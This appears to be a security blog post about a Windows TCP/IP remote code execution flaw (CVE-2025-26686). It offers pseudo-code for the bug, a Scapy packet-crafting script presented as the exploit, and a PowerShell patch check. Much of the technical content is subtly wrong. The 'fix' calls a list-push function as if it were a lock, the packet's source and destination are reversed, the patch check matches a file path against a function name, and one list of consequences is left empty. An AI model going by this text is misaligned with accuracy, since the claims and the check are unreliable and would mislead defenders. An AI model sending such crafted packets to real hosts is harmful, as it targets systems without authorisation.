
A critical RCE vulnerability in Windows TCP/IP stack (CVE-2025-26686) leaves sensitive memory unlocked, allowing remote attackers to hijack systems. Exploitable over the network, it risks full compromise. Patch now
A critical RCE vulnerability in Windows TCP/IP stack (CVE-2025-26686) leaves sensitive memory unlocked, allowing remote attackers to hijack systems. Exploitable over the network, it risks full compromise. Patch now
By Mark Mallia
Type: Remote Code Execution (RCE)
Severity: Critical
Attack Vector: Network‑based
Affected Systems: Windows 10, 11 and Server editions
A new flaw identified as CVE‑2025‑26686 has been discovered in Microsoft’s TCP/IP stack. It stems from a missing lock on a critical region of memory that stores cryptographic keys, session data or network configuration. Because the area is not protected during packet handling, an attacker can read or alter that information over the network and gain local‑admin level access.
The TCP/IP stack in Windows 10/11/Server does not acquire a proper spin‑lock when it writes to certain buffers that hold session data. The missing lock means two packets may race against each other, allowing an attacker to insert malicious code into the buffer before the original process finishes its write.
Key points:
The vulnerability appears in the tcpip.sys module, specifically around the routine that processes inbound TCP segments. The code path responsible for updating the “session data” block should acquire a lock before it writes to memory. In recent Windows releases the lock is omitted in a conditional branch, which can lead to an unprotected write.
A minimal reproducible example is shown below (C++‑style pseudo‑code).
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
In a correctly protected version the critical section would be guarded by an interlocked spin‑lock:
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
The patch adds a call to _InterlockedPushEntrySList, which ensures exclusive access to sessionData while it is updated.
The vulnerability is triggered when an inbound TCP segment that carries a SYN flag reaches tcpip.sys.
To make the packet match that code path, we set the following fields:
Layer Field Typical value for CVE‑2025‑26686 IP src Target host’s IP address (e.g. 10.0.0.10) dst Attacker’s IP (e.g. 192.168.1.2) TCP sport Attacker’s port (e.g. 4444) dport Target service’s listening port (e.g. 80 for HTTP) flags “S” for SYN to hit the branch in TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
At this point you may verify the packet structure:
pkt.show()
The output will reveal fields such as IP → src, dst; TCP → sport, dport, flags; and a Raw payload of 512 bytes.
This is the exact sequence that Windows expects when it processes inbound segments with the SYN flag.
send(pkt)
The command sends the packet directly from your machine into the target host’s TCP/IP stack.
If you are running the script on a Linux VM that has Scapy installed, the packet will reach the Windows machine and trigger the code path in tcpip.sys.
Because the attacker can modify memory that contains cryptographic keys or session configuration, the flaw enables:
A quick‑check script can be used to verify the presence of the lock in the system:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
If PatchPresent returns $True, the mitigation is in place.
CVE-2025-26686 isn’t just another line in a vulnerability database—it’s a wake-up call. When foundational components like the TCP/IP stack are compromised, the ripple effects can be felt across entire networks and industries. The flaw reminds us that even the most trusted systems require constant scrutiny and care.As engineers and defenders, our responsibility is not just to understand these vulnerabilities but to act with integrity. The information shared here is intended solely for ethical use to strengthen defenses, inform responsible patching, and empower organizations to protect their users.